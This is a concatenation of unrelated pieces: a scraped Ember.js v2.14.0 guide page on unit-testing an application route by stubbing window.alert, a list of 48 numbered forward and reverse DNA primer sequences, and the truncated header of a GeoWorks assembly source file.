toc-level-1 "> <a href="/v2.14.0/testing/unit-testing-basics" id="ember257227" class="ember-view"> Unit Testing Basics </a> </li> <li class="toc-link toc-level-1 "> <a href="/v2.14.0/testing/testing-components" id="ember257229" class="ember-view"> Testing Components </a> </li> <li class="toc-link toc-level-1 "> <a href="/v2.14.0/testing/testing-helpers" id="ember257231" class="ember-view"> Testing Helpers </a> </li> <li class="toc-link toc-level-1 "> <a href="/v2.14.0/testing/testing-controllers" id="ember257233" class="ember-view"> Testing Controllers </a> </li> <li class="toc-link toc-level-1 selected"> <a href="/v2.14.0/testing/testing-routes" id="ember257235" class="selected ember-view"> Testing Routes </a> </li> <li class="toc-link toc-level-1 "> <a href="/v2.14.0/testing/testing-models" id="ember257237" class="ember-view"> Testing Models </a> </li> </ol> </div> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember257239" class="cp-Panel cp-is-closed ember-view"><a href="/v2.14.0/ember-inspector" id="ember257240" class="cp-Panel-toggle ember-view"> Ember Inspector </a> <div id="ember257241" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember257243" class="cp-Panel cp-is-closed ember-view"><a href="/v2.14.0/addons-and-dependencies" id="ember257244" class="cp-Panel-toggle ember-view"> Addons and Dependencies </a> <div id="ember257245" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember257247" class="cp-Panel cp-is-closed ember-view"><a href="/v2.14.0/configuring-ember" id="ember257248" class="cp-Panel-toggle ember-view"> Configuring Ember.js </a> <div id="ember257249" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember257251" class="cp-Panel cp-is-closed ember-view"><a href="/v2.14.0/contributing" id="ember257252" class="cp-Panel-toggle ember-view"> Contributing to Ember.js </a> <div id="ember257253" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember257255" class="cp-Panel cp-is-closed ember-view"><a href="/v2.14.0/glossary" id="ember257256" class="cp-Panel-toggle ember-view"> Glossary </a> <div id="ember257257" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> </ol> </nav> </aside> <article id="ember257258" class="chapter ember-view"> <div class="old-version-warning"> <i class="icon-attention-circled"></i><strong>Old Guides - </strong>You are viewing the guides for Ember v2.14.0. <a href="/release/testing/testing-routes" id="ember257259" class="btn ember-view"> VIEW v3.15.0 </a> </div> <a href="https://github.com/ember-learn/guides-source/edit/master/guides/v2.14.0/testing/testing-routes.md" target="_blank" class="edit-page icon-pencil" rel="noopener"> Edit Page </a> <h1> Testing Routes </h1> <hr> <div id="ember257260" class="ember-view"><p><em>Unit testing methods and computed properties follows previous patterns shown in <a href="../unit-testing-basics/">Unit Testing Basics</a> because Ember.Route extends Ember.Object.</em></p> <p>Testing routes can be done both via acceptance or unit tests. Acceptance tests will likely provide better coverage for routes because routes are typically used to perform transitions and load data, both of which are tested more easily in full context rather than isolation.</p> <p>That being said, sometimes it is important to unit test your routes. For example, let's say we'd like to have an alert that can be triggered from anywhere within our application. The alert function <code>displayAlert</code> should be put into the <code>ApplicationRoute</code> because all actions and events bubble up to it from sub-routes and controllers.</p> <blockquote> <p>By default, Ember CLI does not generate a file for its application route. To extend the behavior of the ember application route we will run the command <code>ember generate route application</code>. Ember CLI does however generate an application template, so when asked whether we want to overwrite <code>app/templates/application.hbs</code> we will answer 'n'.</p> </blockquote> <pre><code class="javascript language-javascript"data-filename=app/routes/application.js>import Ember from 'ember'; export default Ember.Route.extend({ actions: { displayAlert(text) { this._displayAlert(text); } }, _displayAlert(text) { alert(text); } }); </code></pre> <p>In this route we've <a href="http://en.wikipedia.org/wiki/Separation_of_concerns">separated our concerns</a>: The action <code>displayAlert</code> contains the code that is called when the action is received, and the private function <code>_displayAlert</code> performs the work. While not necessarily obvious here because of the small size of the functions, separating code into smaller chunks (or "concerns"), allows it to be more readily isolated for testing, which in turn allows you to catch bugs more easily.</p> <p>Here is an example of how to unit test this route:</p> <pre><code class="javascript language-javascript"data-filename=tests/unit/routes/application-test.js>import { moduleFor, test } from 'ember-qunit'; let originalAlert; moduleFor('route:application', 'Unit | Route | application', { beforeEach() { originalAlert = window.alert; // store a reference to window.alert }, afterEach() { window.alert = originalAlert; // restore window.alert } }); test('should display an alert', function(assert) { assert.expect(2); // with moduleFor, the subject returns an instance of the route let route = this.subject(); // stub window.alert to perform a qunit test const expectedTextFoo = 'foo'; window.alert = (text) =&gt; { assert.equal(text, expectedTextFoo, `expect alert to display ${expectedTextFoo}`); }; // call the _displayAlert function which triggers the qunit test above route._displayAlert(expectedTextFoo); // set up a second stub to perform a test with the actual action const expectedTextBar = 'bar'; window.alert = (text) =&gt; { assert.equal(text, expectedTextBar, `expected alert to display ${expectedTextBar}`); }; // Now use the routes send method to test the actual action route.send('displayAlert', expectedTextBar); }); </code></pre> </div> <footer id="ember257261" class="ember-view"> <a href="/v2.14.0/testing/testing-controllers" id="ember257262" class="previous-guide ember-view">Testing Controllers</a> <a href="/v2.14.0/testing/testing-models" id="ember257263" class="next-guide ember-view"> Testing Models </a></footer> </article> </main> <footer id="ember257264" class="es-footer ember-view" role="contentinfo"><div class="footer responsive"> <div class="container"> <div id="ember257265" class="footer-info ember-view"> Copyright 2020 <a href="http://tilde.io">Tilde Inc.</a> <br> <a href="https://emberjs.com/team">Team</a> | <a href="https://emberjs.com/sponsors">Sponsors</a> <br> <a href="https://emberjs.com/security">Security</a> | <a href="https://emberjs.com/legal">Legal</a> | <a href="https://emberjs.com/brand">Brand</a> <br> <a href="https://emberjs.com/guidelines">Community Guidelines</a> <!----></div> <div id="ember257266" class="footer-statement ember-view"> <p class="footer-tagline">Ember.js is free, open source and always will be.</p> <div class="footer-social"> <a href="http://twitter.com/emberjs" title="Twitter"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1000 1000"><path d="M939.5 227.941q-37 54-90 93v23q0 73-21 145t-64 139q-43 67-103 117t-144 82q-84 32-181 30-151 0-276-81 19 2 43 2 126 0 224-77-59-1-105-36t-64-89q19 3 34 3 24 0 48-6-63-13-104-62t-41-115v-2q38 21 82 23-37-25-59-64t-22-86q0-49 25-91 68 83 164 133t208 55q-5-21-5-41 0-75 53-127t127-53q79 0 132 57 61-12 115-44-21 64-80 100 52-6 104-28z"/></svg> </a> <a href="https://github.com/emberjs/ember.js" title="GitHub"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1000 1000"><path d="M392 643q0 22-7 45t-24 43q-17 20-40 19t-41-19q-18-18-24-43t-7-45q-1-20 7-46t24-43q16-17 41-19t40 19q15 21 24 43t7 46zm357 0q0 22-7 45t-24 43q-17 20-40 19t-41-19q-18-18-24-43t-7-45q-1-20 7-46t24-43q16-17 41-19t40 19q15 21 24 43t7 46zm90 0q0-67-39-114t-104-47q-23 0-109 12-40 6-88 6t-87-6q-85-12-109-12-66 0-104 47t-39 114q0 49 18 85t45 58q27 22 68 33t78 17q37 6 83 4h94q46 0 83-4t78-17q41-13 69-33t45-58q17-38 18-85zm125-99q0 116-34 185-22 43-59 74t-79 48q-42 17-95 27t-96 12q-43 2-93 3-43 0-79-2t-82-7q-46-5-85-17t-77-29q-38-17-67-45t-48-64q-35-69-35-185 0-132 76-221-15-45-15-95 0-64 28-121 61 0 106 22t106 69q82-20 172-20 83 0 157 18 58-46 104-67t105-22q29 57 29 121 0 49-15 94 76 89 76 222z"/></svg> </a> <a href="https://discordapp.com/invite/zT3asNS" title="Discord"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 245 240"><path d="M104.4 103.9c-5.7 0-10.2 5-10.2 11.1s4.6 11.1 10.2 11.1c5.7 0 10.2-5 10.2-11.1.1-6.1-4.5-11.1-10.2-11.1zm36.5 0c-5.7 0-10.2 5-10.2 11.1s4.6 11.1 10.2 11.1c5.7 0 10.2-5 10.2-11.1s-4.5-11.1-10.2-11.1z"/><path class="st0" d="M189.5 20h-134C44.2 20 35 29.2 35 40.6v135.2c0 11.4 9.2 20.6 20.5 20.6h113.4l-5.3-18.5 12.8 11.9 12.1 11.2 21.5 19V40.6c0-11.4-9.2-20.6-20.5-20.6zm-38.6 130.6s-3.6-4.3-6.6-8.1c13.1-3.7 18.1-11.9 18.1-11.9-4.1 2.7-8 4.6-11.5 5.9-5 2.1-9.8 3.5-14.5 4.3-9.6 1.8-18.4 1.3-25.9-.1-5.7-1.1-10.6-2.7-14.7-4.3-2.3-.9-4.8-2-7.3-3.4-.3-.2-.6-.3-.9-.5-.2-.1-.3-.2-.4-.3-1.8-1-2.8-1.7-2.8-1.7s4.8 8 17.5 11.8c-3 3.8-6.7 8.3-6.7 8.3-22.1-.7-30.5-15.2-30.5-15.2 0-32.2 14.4-58.3 14.4-58.3 14.4-10.8 28.1-10.5 28.1-10.5l1 1.2c-18 5.2-26.3 13.1-26.3 13.1s2.2-1.2 5.9-2.9c10.7-4.7 19.2-6 22.7-6.3.6-.1 1.1-.2 1.7-.2 6.1-.8 13-1 20.2-.2 9.5 1.1 19.7 3.9 30.1 9.6 0 0-7.9-7.5-24.9-12.7l1.4-1.6s13.7-.3 28.1 10.5c0 0 14.4 26.1 14.4 58.3 0 0-8.5 14.5-30.6 15.2z"/></svg> </a> </div> </div> <div id="ember257267" class="footer-contributions ember-view"> <div class="contributor"> <p>Hosted by:</p> <a href="https://www.heroku.com/emberjs"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 72.5 80.5" class="contributor-logo"><defs><style>.cls-1{fill:#999}</style></defs><path class="cls-1" d="M65.05.25H7.45a7.2 7.2 0 0 0-7.2 7.2v65.6a7.2 7.2 0 0 0 7.2 7.2h57.6a7.2 7.2 0 0 0 7.2-7.2V7.45a7.2 7.2 0 0 0-7.2-7.2zm-46.8 68v-16l9 8zm28 0V44.36c0-1.87-.94-4.11-5-4.11-8.13 0-17.26 4.09-17.35 4.13l-5.65 2.56V12.25h8V35a50.63 50.63 0 0 1 15-2.71c4.94 0 7.9 1.94 9.52 3.57a12.48 12.48 0 0 1 3.48 8.43v24zm2-43h-8a31.1 31.1 0 0 0 6-13h8a23.44 23.44 0 0 1-6 13z" id="black"/></svg> </a> </div> <div class="contributor"> <p>CDN provided by:</p> <a href="https://www.fastly.com"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1626 640" class="contributor-logo"><defs><style>.cls-1{fill:#999}</style></defs><path class="cls-1" d="M1105.2 71.3v421.1h126.4v-64.3h-41.8V7.2h-84.7l.1 64.1zM6.9 428.1h43V224.9h-43V169l43-7.1v-56.6c0-68.5 14.9-98.2 102.3-98.2 18.9 0 41.2 2.8 60.8 6.3l-11.6 68.9c-13.3-2.1-19.8-2.5-28.2-2.5-30.8 0-38.6 3.1-38.6 33.1V162h63.9v62.9h-63.9V428h42.5v64.3H6.9zM1062.1 407.7c-13.2 2.8-24.8 2.5-33.2 2.7-34.8.9-31.8-10.6-31.8-43.5v-142h66.3V162H997V7.2h-84.7v377.3c0 74.1 18.3 107.9 98 107.9 18.9 0 44.8-4.9 64.4-9zM1588.2 428.4a32 32 0 1 1-32.1 32 31.95 31.95 0 0 1 32.1-32m0 58.9a26.75 26.75 0 1 0 0-53.5 26.75 26.75 0 0 0 0 53.5m5.9-11.2l-6.5-9.5h-4.5v9.5h-7.2v-31.4h13.1c7.8 0 12.6 3.9 12.6 10.9 0 5.1-2.6 8.6-6.6 9.8l7.8 10.8h-8.7zm-10.9-15.8h5.7c3.3 0 5.5-1.3 5.5-4.7s-2.2-4.6-5.3-4.6h-5.9v9.3zM806.6 224.8v-11.3c-25.6-4.7-51.1-4.7-64.9-4.7-39.4 0-44.2 20.9-44.2 32.2 0 16 5.5 24.7 48.2 34 62.4 14 125.1 28.6 125.1 106 0 73.4-37.8 111.3-117.3 111.3-53.2 0-104.8-11.4-144.2-21.4v-63.2h64.1v11.2c27.6 5.3 56.5 4.8 71.6 4.8 42 0 48.8-22.6 48.8-34.6 0-16.7-12.1-24.7-51.5-32.7-74.2-12.7-133.2-38-133.2-113.5 0-71.4 47.7-99.4 127.3-99.4 53.9 0 94.8 8.4 134.2 18.4v62.8h-64zM416.9 280.4l-6.4-6.4-32.7 28.5a15.53 15.53 0 0 0-5.3-.9 16.4 16.4 0 1 0 16 16.4 19.32 19.32 0 0 0-.7-4.9z"/><path class="cls-1" d="M546.6 407.7l-.1-263.6h-84.7v24.7a173.6 173.6 0 0 0-57.6-21.8h.5v-29.2H415V96.3h-85.3v21.5H340V147h.6A174.1 174.1 0 1 0 462 467.4l15.3 24.9h89.5v-84.7h-20.2zm-169.1-.1v-10h-10.1v9.9a89.59 89.59 0 0 1-84.2-84.7h10.1v-10.1h-10a89.55 89.55 0 0 1 84.1-84v10h10.1v-10a89.67 89.67 0 0 1 84.4 81.5v2.9h-10.2v10.1h10.2v2.8a89.6 89.6 0 0 1-84.4 81.6zM1446 162h174.7v62.9h-41.8l-107.1 263.6c-30.7 74-81.1 143.7-157.9 143.7-18.9 0-44-2.1-61.5-6.3l7.7-76.9a218.08 218.08 0 0 0 33.5 3.5c35.6 0 75.8-22.1 88.4-60.5l-108.6-267.1h-41.8V162h174.8v62.9h-41.7l61.5 151.3 61.5-151.3H1446z"/></svg> </a> </div> <div class="contributor"> <p>Tested with:</p> <a href="https://percy.io"> <svg viewBox="0 0 423 125" fill="none" xmlns="http://www.w3.org/2000/svg" class="contributor-logo"><path fill-rule="evenodd" clip-rule="evenodd" d="M400.648 112.355c-.232.748-.608 1.273-1.127 1.568l-.15.076c-.562.234-1.163.2-1.871.023-2.286-.574-12.884-1.789-8.645-14.407l2.514-7.485-.57-1.455-2.755-6.677-17.26-40.878c-.38-.848-.242-1.62.097-2.147.351-.549.971-.826 1.846-.842h9.821c.673 0 1.245.185 1.684.53.44.348.762.878 1.035 1.531l12.67 30.214 9.088-30.13c.195-.72.54-1.268 1.004-1.632.455-.355 1.037-.532 1.716-.532h10.487c.89 0 1.522.257 1.894.738.372.499.422 1.22.146 2.149l-14.103 45.12-5.44 17.506-2.081 6.73zM359.293 71.74h10.723c1.657 0 2.632 1.076 2.047 2.74-3.022 10.177-12.575 17.223-23.981 17.223-14.817 0-25.831-11.255-25.831-25.835s11.014-25.833 25.831-25.833c11.406 0 20.959 7.045 23.981 17.222.585 1.663-.39 2.74-2.047 2.74h-10.723c-1.268 0-2.145-.587-2.925-1.663-1.754-2.446-4.776-3.817-8.286-3.817-6.335 0-11.21 4.6-11.21 11.351 0 6.753 4.875 11.352 11.21 11.352 3.51 0 6.532-1.37 8.286-3.718.78-1.175 1.559-1.762 2.925-1.762zm-52.512-29.06v2.55c1.212-2.158 3.978-5.221 11.198-5.123.524.006.945.206 1.255.53.455.474.673 1.115.673 1.943v11.96c0 .812-.169 1.42-.522 1.826-.337.404-.842.608-1.497.608-1.431-.05-2.794.1-4.124.455a9.778 9.778 0 0 0-3.551 1.791c-1.043.845-1.881 1.98-2.49 3.362-.619 1.404-.933 3.108-.942 5.136l-.069 12.755c-.072 13.321-10.191 11.303-12.553 11.166-.806-.046-1.432-.219-1.868-.658-.438-.44-.657-1.065-.657-1.875V42.68c0-.81.219-1.436.657-1.875.437-.44 1.061-.658 1.868-.658h10.097c.807 0 1.431.219 1.868.658.438.44.657 1.064.657 1.875zm-43.748-2.622c3.564.017 6.835.666 9.816 1.951a23.428 23.428 0 0 1 7.758 5.398c2.185 2.326 3.886 5.04 5.085 8.161 1.198 3.122 1.814 6.536 1.83 10.243 0 .634-.016 1.252-.065 1.838a65.191 65.191 0 0 1-.129 1.772c-.097.78-.389 1.348-.842 1.707-.454.358-1.053.536-1.782.536h-32.457c.615 1.919 1.474 3.479 2.607 4.682a10.428 10.428 0 0 0 3.952 2.602c1.507.552 3.11.812 4.811.812 1.376-.016 2.704-.227 3.968-.665 1.247-.44 2.332-1.026 3.223-1.773.47-.39.94-.7 1.393-.927.47-.227 1.004-.341 1.619-.341l9.329-.097c.892.016 1.539.276 1.928.78.372.504.388 1.154.016 1.95-1.279 2.83-2.981 5.203-5.102 7.106-2.122 1.918-4.584 3.348-7.386 4.325-2.801.958-5.862 1.447-9.182 1.447-4.05-.018-7.694-.683-10.933-1.985-3.255-1.3-6.025-3.104-8.324-5.446-2.317-2.324-4.082-5.057-5.313-8.161-1.23-3.122-1.847-6.504-1.863-10.162.016-3.658.649-7.04 1.912-10.16 1.263-3.107 3.044-5.838 5.36-8.163 2.301-2.34 5.054-4.146 8.228-5.446 3.175-1.3 6.689-1.967 10.543-1.984zm-68.18 5.316a22.761 22.761 0 0 1 6.533-3.865 21.372 21.372 0 0 1 7.61-1.408c6.452 0 12.76 2.895 16.989 7.575 4.223 4.673 6.836 11.128 6.836 18.253s-2.613 13.579-6.836 18.252c-4.23 4.679-10.537 7.575-16.989 7.575-4.725 0-9.683-1.492-13.137-4.816l.01 15.843c.008 13.321-10.192 11.302-12.554 11.166-.803-.046-1.432-.221-1.868-.66-.436-.437-.656-1.066-.656-1.874l-.032-68.665c0-.826.224-1.477.674-1.928.449-.451 1.094-.677 1.92-.677h8.871c.827 0 1.472.226 1.92.677.45.45.665 1.095.675 1.928l.033 2.624zm25.217 20.418c0-6.283-5.041-11.377-11.26-11.377-6.22 0-11.26 5.094-11.26 11.377 0 6.285 5.04 11.379 11.26 11.379 6.219 0 11.26-5.094 11.26-11.379zm36.016-10.825c-1.83 1.268-3.126 3.138-3.887 5.577h20.811c-.518-1.838-1.295-3.317-2.333-4.422a9.086 9.086 0 0 0-3.562-2.374 11.773 11.773 0 0 0-4.178-.716c-2.738.017-5.038.651-6.85 1.935zM153.654 30.725a5.164 5.164 0 0 0-4.903-3.74 5.184 5.184 0 0 0-1.999.362 22.04 22.04 0 0 1-7.383 1.483c-6.346-4.758-21.736-16.252-30.872-22.71 0 0 1.23 3.765 2.897 10.788 0 0-14.478-8.459-24.102-14.931 0 0 3.508 7.442 3.768 9.837 0 0-11.542-2.188-28.406-6.126 0 0 12.47 7.214 15.497 11.48 0 0-15.13-1.284-32.951-2.61 0 0 8.963 4.708 13.31 8.46 0 0-16.213 2.082-28.542 2.466 0 0 9.013 7.263 12.64 10.768 0 0-15.487 5.773-34.041 16.062 0 0 9.67.646 16.611 2.98 0 0-8.546 7.246-23.882 23.932 0 0 9.664-.186 17.475-1.098 0 0-6.266 9.29-14.148 26.035 0 0 5.261-3.185 10.322-4.283 0 0 .21 18.955 10.641 22.173l.01-.012c.51.17.999.234 1.424.241a5.854 5.854 0 0 0 1.595-.204c3.343-.883 5.918-4.082 8.898-7.787h.001c.976-1.213 1.978-2.458 3.041-3.671a25.118 25.118 0 0 1 4.595-4.737c3.758-2.955 8.926-5.15 15.158-4.127 7.023.709 11.247 7.71 14.643 13.339 2.567 4.256 4.595 7.617 7.501 7.987.204.025.408.04.606.043 4.45.078 6.104-5.028 8.198-11.493v-.002l.428-1.32.054.109c1.557-5.232 4.498-10.85 8.064-15.903 4.844-6.865 11.038-12.967 16.931-15.749l.015.03c3.204-1.762 6.574-3.42 9.895-5.054l.003-.002c10.295-5.064 20.018-9.848 24.983-17.277 2.483-3.716 3.762-8.306 3.802-13.644.035-4.788-.947-9.22-1.777-12.095zM110.69 86.593c-2.961 2.678-5.868 6.012-8.437 9.652-4.237 6.006-7.395 12.617-8.389 18.136 2.79 4.723 5.332 7.065 7.742 7.146l.076.001c2.217.039 3.704-1.408 4.422-4.3.536-2.158.694-5.134.878-8.58v-.004c.333-6.28.766-14.373 3.708-22.051zm-68.51 27.086l-.032-.084a21.944 21.944 0 0 1 4.857-5.354c3.071-2.414 7.087-4.161 11.896-3.649a133.762 133.762 0 0 1-1.91 4.6c-2.371 5.407-5.193 10.988-8.14 11.396a3.457 3.457 0 0 1-.527.032c-2.302-.04-4.311-2.31-6.143-6.941zm59.08-88.187L88.55 17.127l21.058 7.834-8.348.53zm-35.4 3.097l20.265 5.502 8.926-2.757-29.19-2.745zm36.116 10.72l4.4-3.177-16.858 2.5 12.458.676zm-28.803-.503l-7.042 4.488-19.263-2.153 26.305-2.335zm21.54 11.899l7.13-3.782-26.304 2.336 19.174 1.446zM75.185 54.7l-5.062 7.91-24.738 5.525 29.8-13.435zm-30.864 4.385L25.105 67.05l23.7-16.185-4.484 8.221zm-10.605 9.767l-.897 8.287-11.187 13.38 12.084-21.667z" fill="#3F3A40"/></svg> </a> </div> <div class="contributor"> <p>Resolved with:</p> <a href="https://dnsimple.com/resolving/emberjs"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 613.33331 160" height="60" width="100" class="contributor-logo"><defs><clipPath id="a"><path d="M568.809 1050.45c-20.801 0-41.598-1.1-61.301-5.48V841.367c-28.461 10.946-61.301 16.418-105.086 16.418C246.98 857.785 120 751.605 120 580.84c0-175.145 116.031-271.477 286.801-271.477 84.285 0 170.765 22.989 224.402 51.45v684.157c-20.801 4.38-42.691 5.48-62.394 5.48zm-164.2-632.716c-94.14 0-158.722 63.493-158.722 165.293 0 100.707 68.961 165.293 160.914 165.293 37.215 0 71.152-4.379 100.707-22.988V434.156c-32.84-12.043-66.774-17.515-102.899-16.422zm611.911 442.243c-111.653 0-202.512-43.789-248.485-82.102v-452.09c20.797-4.379 41.598-5.472 61.301-5.472 20.797 0 42.691 1.093 62.394 5.472v391.887c24.083 14.23 66.774 28.461 114.94 28.461 79.91 0 125.88-36.125 125.88-131.36V325.785c21.9-4.379 41.6-5.472 62.4-5.472 19.7 0 41.6 1.093 62.39 5.472v318.543c0 119.317-73.34 215.649-240.82 215.649zm554.99-551.707c142.3 0 225.5 65.679 225.5 174.05 0 102.899-82.1 141.211-194.85 158.723-88.67 14.23-111.66 30.652-111.66 64.586 0 32.84 28.46 53.637 94.14 53.637 62.4 0 116.04-18.61 152.16-39.407 25.18 19.704 41.6 50.356 47.07 88.668-33.93 24.082-100.71 50.352-194.85 50.352-131.36 0-217.83-65.676-217.83-162.008 0-109.465 87.57-143.398 179.52-157.629 93.05-14.23 122.6-33.933 122.6-68.965 0-35.027-26.27-62.394-99.61-62.394-82.1 0-128.07 28.461-159.82 51.449-26.27-16.418-47.07-45.977-56.92-85.383 29.55-25.176 98.52-65.679 214.55-65.679zm398.45 614.101c42.69 0 78.82 35.027 78.82 78.809 0 43.79-36.13 78.82-78.82 78.82-44.88 0-81-35.03-81-78.82 0-43.782 36.12-78.809 81-78.809zm0-602.058c20.8 0 41.6 1.093 61.3 5.472v517.77c-19.7 4.379-41.59 5.472-61.3 5.472-20.8 0-41.59-1.093-62.39-5.472v-517.77c20.8-4.379 42.69-5.472 62.39-5.472zm791.43 539.664c-70.05 0-133.54-27.368-176.23-60.207-38.32 37.218-95.24 60.207-169.68 60.207-108.36 0-202.5-45.977-244.1-82.102v-452.09c20.8-4.379 41.6-5.472 61.3-5.472 20.8 0 42.69 1.093 62.39 5.472v391.887c27.37 16.418 65.68 28.461 106.18 28.461 84.29 0 116.04-53.641 116.04-128.074V325.785c20.8-4.379 41.6-5.472 63.49-5.472 19.7 0 41.6 1.093 61.3 5.472v329.488c0 16.422-2.19 32.84-5.47 48.168 25.17 20.797 60.2 42.692 110.55 42.692 84.29 0 117.13-53.641 117.13-128.074V325.785c19.71-4.379 40.51-5.472 62.4-5.472 19.7 0 41.6 1.093 61.3 5.472v329.488c0 112.75-76.63 204.704-226.6 204.704zm591.12-1.098c-98.52 0-180.62-38.313-230.97-79.91V123.273c21.89-4.378 41.59-5.472 62.39-5.472 20.8 0 41.6 1.094 61.3 5.472v201.418c32.84-10.949 67.87-15.328 111.66-15.328 144.49 0 274.75 101.805 274.75 276.95 0 179.523-120.41 272.566-279.13 272.566zm-4.38-438.953c-40.5 0-73.34 6.566-102.9 20.797v279.136c31.75 17.516 65.68 25.176 101.81 25.176 95.23 0 159.82-60.203 159.82-159.816 0-102.899-64.59-165.293-158.73-165.293zm458.66-99.613c20.8 0 42.69 1.093 62.39 5.472v718.095c-20.79 4.37-42.69 5.47-63.48 5.47-20.81 0-41.6-1.1-61.31-5.47V325.785c21.9-4.379 42.7-5.472 62.4-5.472zM4480 624.625c0 139.02-98.52 234.254-237.54 234.254-147.78 0-260.53-116.031-260.53-276.945 0-169.672 111.66-272.571 267.1-272.571 103.99 0 171.86 38.313 215.65 73.344-4.38 31.746-26.28 66.773-53.64 84.289-33.94-24.082-77.72-53.641-153.25-53.641-86.48 0-139.02 52.543-148.88 137.926h366.71c3.29 28.461 4.38 45.977 4.38 73.344zm-369.99 8.758c8.76 71.152 55.83 124.789 132.45 124.789 84.29-1.094 116.03-63.488 116.03-124.789z" clip-rule="evenodd"/></clipPath><clipPath id="b"><path d="M0 0h4600v1200H0z"/></clipPath></defs><g clip-path="url(#a)" transform="matrix(.13333 0 0 -.13333 0 160)"><g clip-path="url(#b)"><path d="M20 17.8h4560V1180H20z"/></g></g></svg> </a> </div> </div> </div> </div> </footer> <script type="x/boundary" id="fastboot-body-end"></script> <script src="/assets/vendor-43f2851966bb68f3f8b11728eabc662f.js"></script> <script src="/assets/ember-guides-282695ea5f03fe0586ac6b0c02eff6f2.js"></script> </body> </html>
{ "pile_set_name": "Github" }
>F_1 GCGCTCTGTGTGCAGC >R_1 AGAGTACTACATATGA >F_2 TCATGAGTCGACACTA >R_2 CGTGTGCATAGATCGC >F_3 TATCTATCGTATACGC >R_3 ATGTATCTCGACTGCA >F_4 ATCACACTGCATCTGA >R_4 GACTCGACGCAGAGTC >F_5 ACGTACGCTCGTCATA >R_5 CGATGACGTCGCTGTA >F_6 TGTGAGTCAGTACGCG >R_6 CACACGTAGTCTGCGC >F_7 AGAGACACGATACTCA >R_7 GCTGTATCGCAGAGAC >F_8 CTGCTAGAGTCTACAG >R_8 CGAGCTATCTCATACT >F_9 AGCACTCGCGTCAGTG >R_9 CATGAGTACTCGTCGC >F_10 TCATGCACGTCTCGCT >R_10 CAGCGACTGTGATACT >F_11 AGAGCATCTCTGTACT >R_11 TGTCGCATCATATGAT >F_12 CGCATCGACTACGCTA >R_12 GCTGTGATCTACGTCT >F_13 CGTAGCGTGCTATCAC >R_13 TGAGTAGCATGACACG >F_14 ATGCTGATGACTGCGA >R_14 GACATGCAGTCTCACA >F_15 TGCGTGAGCTGTACAT >R_15 CAGTAGCGCACTGAGC >F_16 CGATCATCTATAGACA >R_16 CTGCGTGCGCGATAGT >F_17 CGACGTATCTGACAGT >R_17 CGCGTGCAGAGTGTCA >F_18 CACGTCACTAGAGCGA >R_18 ATATCAGTCACGTCTG >F_19 TGTCGCAGCTACTAGT >R_19 ACGATCACTACAGTGC >F_20 CATACGCTGTGTAGCA >R_20 CTACTGTCTCGCACTG >F_21 AGTCGCATGACTGTGT >R_21 GTCGAGTAGCACTACT >F_22 CAGTACTGCACGATCG >R_22 TGAGCAGATCTCGCAT >F_23 GTGCTGAGCATCAGAC >R_23 CACTCAGTATGTCTCA >F_24 CACTGATCGATATGCA >R_24 GTACACTAGTGCACAT >F_25 TACAGTGTCTGCTGCG >R_25 TCACATCGTCAGCTGA >F_26 TACAGATAGTGTAGCG >R_26 ACATGTGCGCATCAGT >F_27 TCGTAGAGCTCGAGAC >R_27 TCACTGCTGAGAGTAG >F_28 GAGCTGCGCACTCGAT >R_28 GAGTCGTGATGTAGAT >F_29 GCGATGTCGCTATGTG >R_29 AGACGCTGTACTATAT >F_30 CGAGAGTCAGCGCATA >R_30 GCGATCTAGTCGTGTC >F_31 TCACGATGAGCACGTA >R_31 GTATGACAGACTCGTA >F_32 GACTGAGATCATGATC >R_32 CACTATGTAGCTGAGT >F_33 ACGACATGATACTGCT >R_33 TCTCACTATGATACGT >F_34 ATACAGCACAGATGTG >R_34 ATGAGCGATACGACTC >F_35 ACAGTCGATATCTCTC >R_35 GTCTACTCGTGATCGC >F_36 GCTCGATCACATGACG >R_36 CGACATGTACGTCTAG >F_37 GTCGTACACGTGCGAC >R_37 CGCACAGTGACTGCTA >F_38 ACTCATATCTAGAGTG >R_38 TAGCTATCGCATGAGC >F_39 ACTGATCTGTCGCGCT >R_39 ATACAGACGACTGCGC >F_40 CACTAGCTCTGACTAC >R_40 TCTGTACGTAGCTCAT >F_41 GCTGTCATGTACTAGC >R_41 CTGATAGACTCGCGAC >F_42 TATACATACACGCACT >R_42 TAGTGCAGATCGATGT >F_43 TGTGACGACGCGTCTC >R_43 GCGTCTATGCTATACT >F_44 GACGTGAGCATGCACT >R_44 AGAGTCACGCTCTCAC >F_45 CTCGATACGTGTAGCT >R_45 GAGTCATCTACTGACA >F_46 GTGTCTAGACAGCTGT >R_46 TGTCGATCTCGTACGA >F_47 GATGCATGCGTACGCA >R_47 CTCGAGTCACATGTAG >F_48 TATCAGAGCAGCGATG >R_48 ACGAGCACTATAGCGC
{ "pile_set_name": "Github" }
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) GeoWorks 1995 -- All Rights Reserved PROJECT: MODULE: FILE: outboxControlMessageList.asm AUTHOR: Adam de Boor, Mar 22, 1995 ROUTINES: Name Description ---- ----------- REVISION HISTORY: Name Date Description ---- ---- ----------- Adam 3/22/95 Initial revision DESCRIPTION: Class to display messages in the MailboxOutboxControl $Id: outboxControlMessageList.asm,v 1.1 97/04/05 01:21:18 newdeal Exp $ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ MailboxClassStructures segment resource if _RESPONDER_OUTBOX_CONTROL OutboxControlHeaderViewClass OutboxControlHeaderGlyphClass endif ; _RESPONDER_OUTBOX_CONTROL OutboxControlMessageListClass MailboxClassStructures ends OutboxUICode segment resource COMMENT 